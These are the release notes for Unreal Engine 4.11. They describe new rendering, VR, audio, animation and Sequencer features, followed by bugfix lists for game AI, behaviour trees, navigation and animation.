The left image shows a simple scene with a lot of particles placed on the ground. The right image has circle depth-of-field enabled and the new material function renders the particles out of focus like all other geometry. The quality is even better as they don't suffer from noise artifacts. We always expand out-of-focus particles by more than a pixel to avoid shimmering.
This feature requires you to make a change in your particle material:
New: Dithered Opacity Mask
You can now use Dithered Opacity Mask to emulate a translucent surface using an opaque material.
The "Dithered Opacity Mask" checkbox in the material editor provides a stochastic form of order independent translucency when temporal anti-aliasing is enabled. It exploits temporal AA to blend the foreground object with the background over several frames. This can allow semi-transparent objects to use all of our deferred shading features at the cost of some noise and ghosting.
New: Dithered LOD Crossfades
Static meshes can now smoothly crossfade between levels-of-detail using an animated dither pattern!
Note: This feature must be enabled on the material as there is a small performance cost to enabling it.
New: Improved Hierarchical LOD
This release features major improvements to the Hierarchical Level-of-Detail (HLOD) system. Hierarchical LOD can automatically replace large numbers of detailed meshes with a few simple meshes when they are far away. This helps you achieve much higher quality levels when viewing objects up close, and faster overall performance for your level.
Paragon's Agora -- 2.56 Million triangles, 5690 draw calls (reduced from 3.94 million, 7060 draw calls)
In order to get the most benefit from HLOD, you will need the Simplygon SDK (requires a Simplygon license). Simplygon is required to generate a proxy mesh with a reduced number of polygons. Without it, the system will only bake out and combine sections that use different materials into a single draw call.
Also check out the new Hierarchical LOD Outliner feature which has many new settings to help you setup your level's HLODs.
New: VR Instanced Stereo Rendering
Instanced Stereo Rendering is an optimization that makes it more efficient for the engine to render stereoscopic images for VR headsets.
Previously, the engine rendered a stereoscopic image by drawing everything for the left eye, and then drawing everything for the right eye. With Instanced Stereo Rendering, we render both eyes at the same time, which significantly cuts down on the work done by the CPU, and improves efficiency in the GPU. Here are the two techniques running side-by-side:
Using Bullet Train as our test content, we saw about a 14% improvement on CPU time, and about a 7% improvement on the GPU with no work required! Note that while most rendering features work with Stereo Instancing, there are a handful that are not supported yet (DFAO, for example.)
To enable this feature in your project, go to your Project Settings in the editor, and check the "Instanced Stereo" box.
New: Anim Dynamics (Fast Physics Simulation for Characters)
Anim Dynamics is a brand new self-contained and simple physics simulation node for Animation Blueprints which allows dynamic motion to be procedurally added to skeletal meshes without having to use a full physics solution:
Here's an overview of the main features of Anim Dynamics:
Simplified rigid body simulation Runs in animation evaluation step. Runs in component-space to react to animations. No collision for faster simulation Only boxes are supported for inertia calculations
Rigid body constraints Angular - A two axis constraint with the third being locked. The rigid body can rotate within given angle ranges around the two free axes. Works in conjunction with Prismatic and Planar constraints Cone - A free rotational constraint that keeps the rigid body within a specified angle of its constraint. Works in conjunction with Prismatic and Planar constraints but replaces angular if selected Prismatic - A three axis linear constraint allowing movement along all three principal axes within specified limits. Planar - The planar constraint is a list of infinite extent planes that the rigid bodies cannot cross, this can be used as a ground plane for hanging objects or to stop an object from penetrating a character. Each plane can either be placed in world space or have its transform driven from a bone on the character
Chains Each node can either represent a single dynamic bone or a continuous chain of dynamics bones sharing similar constraint data. This allows for more realistic behavior when simulating larger numbers of connected bodies. With single nodes we only push forces down the chain, and never propagate them back - with the chain mode we propagate forces in both directions for nicer chains
Spring Targets Linear and angular springs can be used to get more bouncy effects. These springs are configurable independently and can have different spring constants.
Wind Anim Dynamics can be used with the same wind source actors that affect APEX cloth objects. This can be toggled on or off per node and can be scaled to create the perfect wind response.
Adaptive sub-stepping The simulation can either run with normal tick settings taken from the physics project settings or run using an adaptive substep. The simulation can be configured per node - so if one need needs more iterations for its simulation to converge it can be configured to have as many as necessary without affecting other simulations. In this mode we track the amount of time the game has ticked separately from the time the simulation has actually ran, if we start to fall behind then we maintain time debt and run the simulation multiple times. This is capped to stop spiralling problems but can add stability to complicated simulations
Visualisation There are options on the nodes to visualise various things when the node is selected. Available visualisers cover: Angular limits Prismatic limits Planar limits Planar exclusion methods (sphere-like collision with the planar limits)
New: Live Animation Recording from Gameplay
You can now record an animation of a skeletal mesh during live gameplay and save it as an Anim Sequence asset!
This asset can be used in-engine or exported as an FBX for use in a 3rd party tool. This should work in any active game scenario, either live or while watching a replay.
How to use this feature:
To record an animation, open the console and type: RecordAnimation MyActorClass_05 /Content/Foo/RecordedAnimation
MyActorClass_05 /Content/Foo/RecordedAnimation To stop recording, type: StopRecordingAnimation MyActorClass_05 or StopRecordingAnimation all
MyActorClass_05 or all If you omit or provide an invalid asset path, you'll get a picker popup where you can choose. You can use the World Outliner to find the name of the actor you're interested in (hover over the actor name to see it's "ID Name")
New: Higher Quality Depth of Field
You can now increase the sample count of depth of field ("Circle DoF") to increase quality by reducing noise, at some additional performance cost.
New: Platform and SDK Updates
Along with the usual updates, we've updated all our major VR platforms to use their latest SDKs in preparation for titles shipping in the launch window of the various VR platforms. Along with these updates has been a concentration on stability and final polish, so any UE4 title on 4.11 should be "VR ship ready!"
Platform highlights in this release:
Oculus Rift 1.3.0 SDK is coming soon in Unreal Engine 4.11.1 hotfix. (Oculus Rift SDK 0.8.0 beta in Unreal Engine 4.11.0)
Oculus Mobile SDK 1.01
Playstation VR SDK 3
SteamVR 0.9.12
PS4 SDK 3.008.201 (w/ PSVR)
Xbox One XDK November QFE 1
HTML5 SDK (Emscripten) 1.35.0
Linux Clang 3.7.0
Apple tvOS 9.0 support (GitHub only)
New: Improved DirectX 12
We've integrated updates to DirectX 12 in Unreal Engine from Microsoft to allow better CPU utilization while generating rendering commands in parallel; also added improvements like support for multiple root signatures, enabled asynchronous pipeline state disk cache by default, reduced memory footprint & fixed leaks, resource transitions optimizations, faster memory allocations and limited GPU starvation by flushing work during idle GPU time.
DirectX 12 for Xbox One
Microsoft engineers have worked to add experimental support for DirectX 12 on Xbox One!
Some steps are required to enable this feature:
Set bBuildForD3D12 to true in the XboxOneRuntimeSettings section of BaseEngine.ini
to in the XboxOneRuntimeSettings section of BaseEngine.ini Set D3D12_ROOT_SIGNATURE to 1 in XboxOneShaderCompiler.cpp
Comment out the use of GetSamplePosition in PostProcessSelectionOutline.usf (not supported on Xbox One yet)
Rebuild and restart!
Due to its experimental nature, there may be rendering and/or stability issues with this enabled.
New: Metal Rendering on Mac OS X
Metal is now the default graphics API on Mac OS X El Capitan!
Epic have worked closely with Apple, AMD, Nvidia, and Intel to integrate Metal for Mac and in 4.11 it replaces OpenGL as the primary graphics API for OS X El Capitan. The 4.11 release provides the same rendering features across Metal and OpenGL by default. Metal provides a streamlined, low-overhead API with precompiled shaders and efficient multi-threading support to maximise the processing power of the GPU. We will continue to improve and extend support for Mac Metal and look for ways to leverage new API features in upcoming versions of the engine.
There is also experimental Metal support for Shader Model 5 features, try it out using the "-metalsm5" command-line switch.
New: Faster Lighting Builds (Intel Embree support)
We've integrated Intel's Embree ray tracing library into Lightmass and have improved lighting build dramatically with it.
The majority of lighting build time goes toward tracing rays to figure out how light is bouncing. As a test case, the "Sun Temple" level lighting now builds 2.4x faster (from 45 seconds to 18 seconds) by using Embree. The results are visually identical, with Indirect Lighting Quality set to 4.
New: Lightmass Portals
Skylight quality indoors can now be massively improved by setting up Portal actors over openings.
Portals tell Lightmass where to look for incoming lighting; they don't actually emit light themselves. Portals are best used covering small openings that are important to the final lighting. This yields higher quality light and shadows, as Lightmass can focus rays toward the incoming light. (Below left: without portals. Below right: with portals.)
Several other improvements have been made to Lightmass quality:
Fixed light leak artifacts with Point / Spot / Directional lights and small values for Static Lighting Level Scale
SkyLight indirect lighting has been improved
New: Animation Posing by Copying from Meshes
We have added a new Animation Node that copies a pose between Skeletal Mesh Components inside the Animation Graph. This is an improved version of Master Pose Component because you can now blend the source animation with new animations.
In the above example, the Gauntlet is using the Copy Mesh Pose node in its own Anim Blueprint to copy the hand and arm transforms from a Source Mesh, the female character. At the same time, the Gauntlet's spikes are animating independently.
We set the Source Mesh to copy pose from another mesh component. It will only copy transforms where the bone names match. Once you get the pose from the node, you can blend other animations in.
The source mesh has to animate prior to the target, which happens automatically when the target is attached to the source, and the joint names need to match. Also note that bone transforms are copied prior to physics simulation, which means it won't work if the source mesh simulates, although this is not a problem if the target mesh animates after physics runs.
New: LOD Bone Reduction Tool
You can now remove bones from a Skeletal Mesh LOD. Skeletal weighting will automatically be updated! This is an easy way to improve performance of character animations your game.
Use the new 'Remove Children' option in the Skeleton Tree's right click menu to disable bones for any given LOD.
Previously, this was tightly coupled to the mesh reduction tool. Now you simply view the LOD you want to remove bones from, select the desired joint and remove it, including children if you wish. You are also given the option of removing from only the current LOD or including all lower LODs.
Once you remove the bones, they will turn grey, indicating that they are not skinned at the current LOD. The LOD preview mode in Persona also shows bone names in grey when disabled.
Finally, there is a new "LOD Bones" display option drop-down in the Skeleton Tree toolbar for filtering which bones visible.
New: Particle Cutouts (Fast Flipbook Particle Rendering)
Particle cutouts allow for flipbook particles to render as much as three times faster!
Particles using flipbook animations (Sub-UV Animation module) tend to have quite a bit of wasted overdraw - areas where the pixel shader had to be executed, but the final opacity was zero. As an example, the texture below is mostly comprised of transparent pixels.
We can now render particles with much tighter bounding geometry, cutting out the invisible areas, instead of using a full quad regardless of what frame of the animation is playing.
Setup
The engine can't use Particle Cutouts by default because the material graph allows any logic to create the particle's opacity - it might not even come from a texture. Artists have to opt-in to using Particle Cutouts by setting it up.
Create a new 'SubUV Animation' asset off of the flipbook texture (right click texture in Content Browser)
Open the 'SubUV Animation' asset and make sure the Sub Images properties are set correctly. These first two steps only have to be done once per flipbook texture.
In Cascade, find the SubUV module and assign the Animation asset
Performance results
Shader complexity viewmode shows much less overdraw from the particle system using cutouts. Using the cutout geometry reduced the GPU cost of this particle system by 2-3x!
New: Per-vertex Translucent Lighting
Lit translucency can now be rendered much faster using new per-vertex translucent lighting settings!
There are two new translucency lighting modes available in the material editor which compute lighting per-vertex
Per-vertex lighting modes use only half as many shader instructions and texture lookups
and texture lookups The "Volumetric PerVertex NonDirectional" setting is extremely fast -- nearly the same as an Unlit material!
We recommend using per-vertex translucent lighting as often as possible. The exception is for very large particles or triangles, since lighting will be interpolated across each triangle.
New: Lighting Channels
Lighting channels allow dynamic lights to affect only objects when their lighting channels overlap. We now have support for up to 3 lighting channels.
You can set which channels a Primitive Component or a Light Component is in.
These are really useful for cinematics! For example, you can have a rim light on a character that doesn't affect the surrounding environment.
Lighting channel influence is applied dynamically -- that means it won't work with Static Lights. You'll need to use either Stationary or Movable lights. Also, lighting channels will only affect direct lighting on opaque materials.
Lighting channels add only a small GPU cost per light when used.
Please note, this is available for Deferred Rendering only, so this will not be possible for Mobile or Mac that are not using SM5 or Metal.
New: Stereo Spatialization
3D spatialization is now possible for stereo assets on PC, Xbox One and PS4 platforms. Stereo spatialization essentially spatializes each input source channel (e.g. Left and Right channels) as if they were mono-sources. The positions of the left and right channels are determined by the sound's emitter position offset by a 3D Stereo Spread, a new parameter in Sound Attenuation Settings.
The 3D Stereo spread parameter defines the distance in game units between the left and right channels and along a vector perpendicular to the listener-emitter vector. This means that the stereo channel spread parameter is in world-coordinates and will naturally collapse to a mono point source (with left and right channels summed) the further away from the emitter the listener is.
New: Sound Focus
The Sound Attenuation settings asset now supports sound focus, a new feature which allows sound designers to control various parameters automatically based on the direction of the sound relative to the listener.
The following diagram illustrates the azimuth settings:
Sound designers specify azimuth angle values that define when a sound is in and out of focus. Relative sound positions that are between these azimuth angles are interpolated to blend between the regions. The new settings are specified in the Sound Attenuation Settings UStruct:
The focus and non-focus values are used to modify sounds in three ways: Distance Scaling, Volume Scaling, and Priority Scaling. Distance scaling is useful to create a boom-mic or zoom-mic effect by scaling the apparent distance of sounds that are in focus or out of focus. Volume scaling can be used to add another attenuation to sounds based on their visibility. Priority scaling is used to reduce (or enhance) the priority of sounds for sound concurrency.
New: Sound Occlusion
UE4 now supports simple raycast-based sound occlusion. To use enable occlusion calculations on a sound, simply specify it in the Sound Attenuation Settings asset as shown in the following picture:
If occlusion is enabled for a Sound Attenuation object, sounds playing with that object will perform raycasts against collision geometry to determine if the sound is occluded or not. If the sound is determined to be occluded, it will apply the given Low Pass Filter Frequency value and volume attenuation. Because the occlusion system is based on a binary raycast (occluded versus not-occluded), an optional occlusion interpolation time is provided which will interpolate from the unoccluded and occluded frequency values. An optional checkbox is provided to enable collision checks against complex geometry.
New: Sound Concurrency
The new concurrency system removes the concurrency data from sound instances and instead puts it into its own asset. You can create these by selecting "Sound Concurrency" under the “New Asset” menu in Content Browser.
In addition to the previous Max Count and Resolution Rule, the new Sound Concurrency object adds a few other concurrency-related bells and whistles which will be described below.
Limit To Owner
This box is used to indicate that any sounds that are played with this concurrency should attempt to do its concurrency counting with the sound's owner. If there is no owner of the sound (i.e. it wasn't played on an actor or through an audio component), then it will count concurrency as if the checkbox were not checked. This is intended to support the ability to have per-actor concurrency limits.
Volume Scale
This feature groups sounds into concurrency groups for volume management. When multiple sounds in a concurrency group are playing at the same time, the older sounds will become quieter. The formula for a sound's volume scaling under this feature is:
VolumeScale = VolumeScaleSettingNewerSoundCount
where VolumeScaleSetting is a user-set value, and NewerSoundCount is the number of currently-playing sounds in the concurrency group that started after this one. For example, if sounds A, B, and C were in the same concurrency group and were played in rapid succession with aVolumeScaleSetting of 0.9, they would be adjusted as follows:
A's VolumeScale = (0.9)2 = 0.81
B's VolumeScale = (0.9)1 = 0.9
C's VolumeScale = (0.9)0 = 1.0
In other words, the most recent sound will not be affected, but each older sound will be ducked so that its volume exponentially decays, effectively acting as an automatic ducking mechanism for sounds that are grouped together.
New Resolution Rules: Stop Lowest Priority and Stop Quietest
The new concurrency object also introduces two new concurrency resolution rules: Stop Lowest Priority and Stop Quietest.
The Stop Lowest Priority rule uses the priority value set on the USoundBase object (SoundCue, SoundWave, etc). Once a concurrency group's limit is reached, the system will run through all active sounds in the group and stop the lowest priority sound (or not play the new sound if it would be the lowest priority).
The Stop Quietest rule does what its name suggests: instead of stopping based on distance (which is often correlated to volume, but not necessarily), it will stop the sound in the group that is quietest or not play the new sound if that new sound would be the quietest. The quietest sound is defined as the sound with the smallest volume scale product after all gain stages of the sound have been evaluated.
Applying the Sound Concurrency Object to Sounds
To use the Sound Concurrency object, you simply supply it to any of your sound calls or sound objects in much the same way that you would the Sound Attenuation Setting object. Below is the details panel of a Sound Wave asset.
The new section highlighted above allows you to drop in an asset reference to the new Sound Concurrency asset.
Overriding Sound Concurrency
Both for backwards compatibility and for cases where the old behavior is preferred, you can choose to override the concurrency setting object with a local set of data on the asset. In this case, the sound asset becomes its own concurrency group and the older behavior of limiting concurrency by asset instance is achieved. Older projects that are converted to 4.11 will automatically use the override setting for their sound assets.
New: Marker-Based Animation Syncing
Animations can now be synchronized using markers in the animation data. In previous releases the only method of syncing two animations was based on time - animations were just scaled so their lengths matched. You can add marker data by right clicking on a notify track and selecting Add Notify->New Sync Marker.
The feature set for the initial release is as follows:
Only animations within the same SyncGroup are synced. The leader drives the positions of followers within same sync group.
No play rate adjustment, the play rate is always that of the master animation.
Only markers common to all animations within a group are synced. For example, if one animation is missing the 'Right Foot Down' markers, those markers will be ignored for all animations when determining that frame's position.
Position is synced based on the relative position of the Leader with respect to its common markers. For example, if the Leader is 25% of the way between its left and right foot markers, then the followers will be synced to 25% of the way between their respective left and right markers.
Marker based sync is used automatically when animations in a sync group have enough matching markers. Otherwise the original scaled length syncing behavior is used.
Montages also support marker-based sync while blending out, so you can transition back to other animations seamlessly. You can find the Sync Group setting in the Montage.
New: Curve Blending for Animation Montages
Montages now support curve blending. The Blend In and Blend Out options on the Montage control how the Montage should be blended when it plays. Note that if an additional Montage is played, its Blend In settings will be used.
New: Hierarchical LOD Outliner
The new Hierarchical LOD Outliner allows you to visualize the clustering of mesh actors and enables editing of the various HLOD settings and generation processes.
Material Generation
The material merging process now supports more material properties such as per-vertex colors, vertex positions, and vertex normals. This means that techniques such as world space texturing, blending in snow or moss based on surface normal, and masking material layers by vertex colors now work correctly with HLOD.
Some features are still not supported such as per-pixel normals and the World-to-Tangent transform. In these cases, or other cases where you want to use a different or simplified material for HLOD, the Material Proxy Replace node can be used. It functions much like the Lightmass Replace node: the "real-time" input is used at runtime, and the “material proxy” input is only used during the generation process.
Settings for the material merging process can now be found in the HLOD Outliner panel, in addition to the World Settings panel.
Proxy Mesh Generation
The proxy mesh generation has been streamlined and features the latest integration of the Simplygon SDK, settings for the mesh generation process can now also be found in the HLOD Outliner panel.
Other improvements:
Spline meshes are now supported by the HLOD system.
Proxy meshes/clusters are now only shown, generated and built for visible (sub-)levels.
Emissive colors are now supported by the material merging process.
Static meshes with opaque materials are now supported by the material merging process.
New: Complex Text Rendering (Experimental)
We're working on adding right-to-left and bi-directional text support to Slate, including support for complex shaped text (such as Arabic).
This feature is still very early. You're encouraged to check it out and provide feedback, although some areas may be a bit rough around the edges in this release.
Known issues:
Single-line editable text blocks do not currently work complex text (only multi-line editable text, and static plain/rich text).
There is no support for Text Actors or Canvas.
Complex text rendering is currently only available for Windows. Mac, and PS4 builds.
New: Advanced Blueprint Search
The Blueprint search tool has been updated to support more advanced search functionality (to get more targeted results).
You can now target specific elements in your search, such as: nodes, pins, graphs, functions, macros, variables, properties, and components. Full documentation here: https://docs.unrealengine.com/latest/INT/Engine/Blueprints/Search/index.html
Supports And (&&) and Or (||) logic operations, as well as Tag/Value matching (using the syntax: Tag=Value).
Variables' "Find References" option now leverages this improved functionality for a more precise search.
New: VR Head Mounted Display Camera Improvements
The camera system for Head Mounted Displays has been refactored to make it more versatile and easier to use. We've made it so that your active Camera Component will be offset in the engine in the same way your headset in the real world is offset from its origin. That means you can easily calculate the position of the VR headset in your world, attach meshes and other objects directly to it, and simplify your VR game's control scheme.
In addition, anything attached to the camera component will be "late updated," which means it will use the most up-to-date positional data possible for rendering to reduce latency. Meshes, effects, and sprites attached to the camera will be locked solid there, and updated every frame in the same way that we update the Head Mounted Display itself.
Check out our updated documentation for instructions on how to migrate your current project to use the new system!
New: VR Stereo Layers
Stereo Layers allow you to draw a quad with a texture at any position in the world on a separate layer that's fed into the VR's compositor directly. This allows you to make UI that is more readable and less distorted. Currently, this feature is only implemented for the Oculus Rift headset, but will be coming shortly to other platforms!
New: Major Progress on Sequencer (Experimental)
Sequencer is our new non-linear cinematic animation system. Sequencer is still under heavy development and we don't recommend using it for production work quite yet, but you're welcome to try it out and send us feedback! Expect to hear a lot more about Sequencer in an upcoming UE4 release.
Notable new features in Sequencer for 4.11:
New tracks: Shot/director, play rate, slomo, fade, material, particle parameter tracks.
Improved movie rendering; .EXR rendering support.
Improved keyframing behaviors, copy/paste keyframes, copy keys from matinee, 3d keyframe path display.
Master sequence workflow, so you can have sub-scenes within a larger sequence
Support for "Spawnables" (actors that exist within your cinematic asset)
UI improvements: track coloring, keyframe shapes/coloring, track filtering.
You can turn on Sequencer by opening the Plugins panel and enabling the "Level Sequence Editor" plugin, then restarting the editor.
Release Notes
AI
New: A new EQS scoring function, Square Root, has been added.
New: A simple "Current Location" EQS generator has been added to support reasoning about AI's current location.
New: Added an EQS test for geometry overlaps.
New: Added Blackboard Keys support to EQS' NamedParams.
New: EQS tests can now be configured to normalize results against declared ideal value rather than max value.
New: Made EnvQuery a blueprint type, which enables storing EQS templates in blueprint classes and AI blackboards.
New: Added a silent auto-conversion of Controllers to Pawns when calling blueprint RunEQS function. This is usually the desired behavior. But it can be disabled with AISystem.AllowControllersAsEQSQuerier flag in Project Settings
New: The way EQS test scoring gets previewed in EQS editor has been improved towards higher display resolution as well as flexibility for future expansion
New: AI debug display for several subsystems has been improved by disabling their scene outline drawing in the editor.
New: Added a feature to the BT MoveTo task enabling it to observe and react to changes to an indicated blackboard entry storing move goal location or actor.
New: Added ability to specify the number of points generated by the OnCircle generator.
New: Added time slicing, logging and additional profiling stats to AISense_Sight to help debug and manage performance cost for AI on servers. Exposed new parameters MaxTimeSlicePerTick (in seconds) and MinQueriesPerTimeSliceCheck AI Perception values.
New: Pathfollowing parameters responsible for path's mid-points reachability acceptance have been exposed for configuration via AISystem settings.
New: Stopping AIController's logic during pawn's unpossess event has been made optional. Use AIController's StopAILogicOnUnposses property to control this mechanism.
Bugfix: The blackboard editor no longer crashes when adding new keys while having a search filter applied to keys list.
Bugfix: A crash in garbage collection related to a bug in EQS query template caching in certain use cases has been fixed.
Bugfix: Fixed a crash in EQS where wrappers could be garbage-collected during queries.
Bugfix: Blueprint-implemented EQS generators no longer crash when trying to add a generated value of a wrong type (vector/actor mismatch).
Bugfix: A bug in EQS resulting in FEnvQueryInstance's result never getting set to "failed" has been fixed.
Bugfix: AIPerceptionSystem.UnregisterSource no longer crashes when perception agents being unregistered don't use all of the defined senses.
Bugfix: The AI perception system will no longer allow AIs to bypass visibility-cone checks.
Bugfix: AIController.MoveTo will no longer ignore its navigation data's default querying extent.
Bugfix: AIController's pawn possession no longer overrides cached GameplayTasksComponent references, which could break AI's gameplay tasks usage.
Bugfix: Blueprint interface functions to PawnActions have been fixed to return apropriate values.
Bugfix: Fixed AI stimuli never expiring, which resulted in AI never forgetting perceived actors.
Bugfix: BTService_BlueprintBase will now correctly trigger "deactivation" events that are implemented in derived blueprint classes, but not the base class.
A safety feature has been added to AI's possession logic. AIControllers will no longer try to possess soon-to-be-destroyed pawns.
EQS Query instances that run longer than expected will output once to the log, and then once more when the query finishes. The previous behavior was to log repeatedly until the query finished.
EQSTestingPawn's ticking has been disabled in game worlds. This can be re-enabled with the bTickDuringGame property.
Behavior Tree
New: BTService_RunEQS, a new BT service for regular EQS query execution, has been added.
New: Added new property to all EnvQueryTests: TestComment. This property is a simple, optional string used to label the purpose for a test. For now, it only shows up in the details view, but it is still useful for helping to document the reasons for tests, especially when using more than one of the same type.
New: Expanded the RunEQSQuery BT task so that users can configure it to use a query template indicated by a key in blackboard.
Changed the color of root level decorator nodes in the behavior tree editor to distinguish them from regular decorators.
Bugfix: Stopping behavior tree with instantly aborting parallel tasks no longer crashes.
Bugfix: Handled an edge case in BT's parallel tasks removal that could result in not cleanly finishing all of tasks, and potentially hanging.
Bugfix: Behavior tree focus service reacts to blackboard changes appropriately.
Bugfix: Behavior tree's blackboard filters work correctly when a single object uses multiple configurable filters of the same class.
Bugfix: BTDecorator_Blackboard now handles user-requested condition inversion properly.
Bugfix: Fixed behavior tree decorators not observing in LowerPriority mode when search flow enters and leaves their branch without finding a task to run.
Bugfix: Prevented behavior trees from starting new task execution just to be abandoned in next tick due to decorators firing between abort and execute calls.
Bugfix: Fixed cleanup of active blueprint actions for blueprint based behavior tree tasks.
Bugfix: Fixed missing Tick event in aborting behavior tree tasks from an abandoned subtree.
Bugfix: Copy and paste operations in behavior tree's composite decorators subgraphs now work properly.
Bugfix: Fixed node memory allocations for injected behavior tree decorators.
Bugfix: RotateToFaceBBEntry no longer gets stuck when passed a blackboard key with FRotator value.
Bugfix: Fixed order of behavior tree graph nodes when a node is being moved.
Bugfix: GameplayDebugger's default settings are now applied properly.
Bugfix: Triangulation errors in some convex polygons recorded by visual logger have been fixed.
Navigation
New: CompositeNavModifiers have been expanded to support use of convex and sphere physics shapes.
New: Enabled custom export of navigable geometry for foliage with InstancedStaticMesh type.
Bugfix: Streaming out of a level containing a RecastNavMesh instance no longer crashes the engine.
Bugfix: A bug in editor-time navigation system, resulting in removing all the saved data in static navmesh on map load, has been fixed.
Bugfix: A memory leak in Recast's heightfield layers building has been fixed.
Bugfix: Navigation bounds gathering no longer produces unexpected results while streaming levels with certain streaming setups.
Bugfix: NavLinkProxy no longer marks instances containing only smart links as navigation-irrelevant.
Bugfix: A missing NavigationSystem notification has been added to let it know about editor-time changes to ActorComponent.CanEverAffectNavigation property. This fixes situations where toggling this flag wouldn't result in rebuilding navmesh.
Bugfix: Added a safety feature to address navmesh generation related crashes when BP-implemented actors get their construction script re-run just after navmesh generation finishes.
Bugfix: "Navmesh build in progress" editor notifier no longer hangs indefinitely if it's created just after navmesh has finished building.
Bugfix: Crowd simulation works properly with auto-possessed pawns placed in a level.
Bugfix: Collision data for navigation built from mirrored PxConvexMesh now exports correctly.
Bugfix: Fixed geometry projection for navmesh walking mode when a pawn moves far away from the geometry on the Z axis.
Bugfix: Corrected HitNormal values reported by navmesh raycasts.
Bugfix: Fixed the influence of navmesh edges on crowd simulation near the ends of paths.
Bugfix: Navigation export of destructible mesh without collisions enabled now works as expected.
Bugfix: Fixed navigation export of NavRelevantComponent attached to an actor not affecting navmesh generation.
Bugfix: Navmesh tiles are no longer drawn in red, or not drawn at all, after navmesh generation finishes.
Bugfix: Reuse of navigation paths now updates all flags appropriately.
Bugfix: Corrected scoring of navmesh boundary segments in detour's crowd simulation.
Bugfix: Fixed UNavRelevantComponent not being included in navmesh generation when it's not attached to actor with collision component.
Navmesh raycast will use nearest poly containing ray origin instead of just closest one.
Added Z check to detour's crowd avoidance segment gathering.
RVO avoidance now takes the height of agents into account when culling obstacles.
Animation
New: Level-of-Detail Threshold for Animation Graphs Many animation graph nodes now have an LOD Threshold option for performance optimization : Apply Additive Apply Mesh Additive Aim Offset All Skeletal Control nodes Whenever the Skeletal Mesh instance drops below this LOD, the node will not execute.
New: Per-Animation Compression Settings You can now set animation compression on a per-animation basis.
Compression
Choosing Automatic and then pressing Apply will cause the engine to determine the best setting (based on error metrics) and set that for you.
New: Added "Delete All" option to anim curve panel.
New: Added a new property called "Min Time Between Ticks" to particle systems. This can be used to force a lower tick rate on a particle system by specifying the minimum number of milliseconds between ticks.
New: Added a new role for sync group members: TransitionLeader. It is excluded from the group while it blends in. Once it reaches full weight it becomes leader until it is fully blended out again.
New: Added AssetRegistrySearchable tag to AnimSequence's EnableRootMotion property so that it shows in the content browser.
New: Added blend profiles to skeleton assets, which allow per-bone multipliers when using blend per bone or other blending nodes. These are accessible from the skeleton tree pane in Persona.
New: Added DrawCanvas and viewport string support to skeletal controls to enable them to output debug information to the viewport. This feature can be enabled using the Show -> Display -> Skeletal Controls option in Persona's viewport,
New: Added a flag to animation evaluator nodes so users can set whether they should loop when being ticked. With the addition of Marker Based sync, evaluator nodes now have the ability to be ticked like sequence players (by adding them to a sync group). By default, the evaluator node's playing direction will be forward or backward based on whether the target time is earlier or later than the current time. With the loop flag enabled the playing direction will be based on whichever direction will reach the target animation time more quickly. For example, going from 4.9 seconds to 0.1 seconds in a 5 second animation will play forward and loop instead of playing backward.
New: Added GetCurrentStateName as a blueprint-accessible function on animation instances.
New: Added a "Random Player" node for anim graphs. With this node, the user can play a selection of animations in a random order with certain randomized parameters. With Random Player, "Shuffle Mode" acts more like a randomized playlist, in that it will play everything on the list before repeating.
New: Added SetMinLOD and SetForcedLOD functions. These enable the user to restrict LODs for the a specific SkeletalMeshComponent. For example, calling SetMinLOD with 1 will mean that the component will not use LOD 0, even if it gets close to the camera, but it can use LODs 1 and higher as it normally would. Similarly, calling SetForcedLOD with 0 will force the component to use only LOD 0 all the time. This can be useful for ensuring that the local player's character is always at maximum quality. If both functions are used, SetForcedLOD will override SetMinLOD.
New: Added support to tie update rate optimization directly to LOD level instead of selecting the amount based on screen size.
New: Added a "Start Position" to the player node. The Sequence Player and BlendSpace Player both contain the Start Position parameter, which will start the animation at the given position on the first time it plays.
New: Added support for space conversion in the copy-bone skeletal controller node.
New: Added support to PoseableMeshComponents for the MasterPoseComponent property.
New: Added the ability to remap to existing assets when retargeting in Persona. Persona can also attempt to auto fill the correct assets if the source and destination assets use a similar naming scheme.
New: Allow users to change animation compression settings per animation in the detail panel. Note that you'll have to click "Apply" to apply to the current compressed data. If not, data will not match the displayed compression setting. Default compression settings are in Project/Animation. An automatic setting exists. This may take a while, as it will try all possible configurations and compare results, but it will find the optimal compression settings.
New: Anim Montage now contains FAlphaBlend BlendIn/BlendOut option Supports both preset and custom curve types.
New: Blend List node now supports Reset Child On Activation for reinitialization when reactivated.
New: Changed TrailRelaxation to Curve type, so that different relaxation values can be used on chains.
New: Offline animation retargeting supports rules for naming output animations. Rules supported: Target folder, Prefix, Suffix, Replace.
New: Exposed SkeletalMesh property bDisableMorphTarget to blueprints. A new cvar, r.EnableMorphTargets, can be turned off to disable all morph targets.
New: FBX import now saves animation length property.
New: Persona Asset Browser displays folder path column. Tooltip also displays folder path. Sorting by path in the asset browser is supported.
Bugfix: Recompiling anim BPs that are dependencies of parent blueprints no longer causes a crash.
Bugfix: Fixed a crash that happened when something other than USkeletalMeshComponent had a MasterPoseComponent set.
Bugfix: Fixed a crash with retargeting additive blendspace animation assets.
Bugfix: Error is reported instead of crashing when compiling an animation blueprint that has a missing skeleton asset and contains a ModifyBone node.
Bugfix: Displaying the debug info of an AnimInstance object whose root node is null will no longer cause a crash.
Bugfix: Blendspace editor does not crash when the editor opens for the first time.
Bugfix: The random animation sequence player does not crash when there are no entries in the playlist.
Bugfix: Fixed a crash when default transition pins are set to true.
Bugfix: Reimporting a skeletal mesh that is currently open in Persona does not crash.
Bugfix: Fixed a crash with animation editing when the source data gets invalidated, possibly due to retargeting.
Bugfix: Fixed a crash with Blendspace having per bone set up when the interpolation value is 0.
Bugfix: Fixed a crash with invalid BlendSpace preview input coming when switching preview assets in Persona.
Bugfix: Prevented a crash in Persona while reimporting data.
Bugfix: Removed possible divide by zero in state machine transitions when using crossfade durations of zero.
Bugfix: Fixed assert on executing blueprint code during post load when an animation wants to spawn a "needs re-saving" message.
Bugfix: Fixed potential to call incorrect functions in derived anim blueprints, which could make derived anim blueprints function incorrectly.
Bugfix: Importing corrupted FBX files no longer crashes.
Bugfix: Fixed issue when importing curve values from FBX files with unwind rotation on.
Bugfix: When importing curves, the break tangent doesn't work, so now import curve defaults to auto.
Bugfix: Particle systems and other events triggered from anim notifies now work properly in the editor and at runtime.
Bugfix: Root Motion from Everything is no longer calculated incorrectly with animations that are part of a sync group.
Bugfix: Anim montage playback error correction is no longer incorrectly applied when the montage is stopped.
Bugfix: Anim instance native transitions no longer rely on state machine initialization to bind delegates.
Bugfix: Fixed animation blueprint relevancy nodes returning unexpected values when no relevancy can be determined.
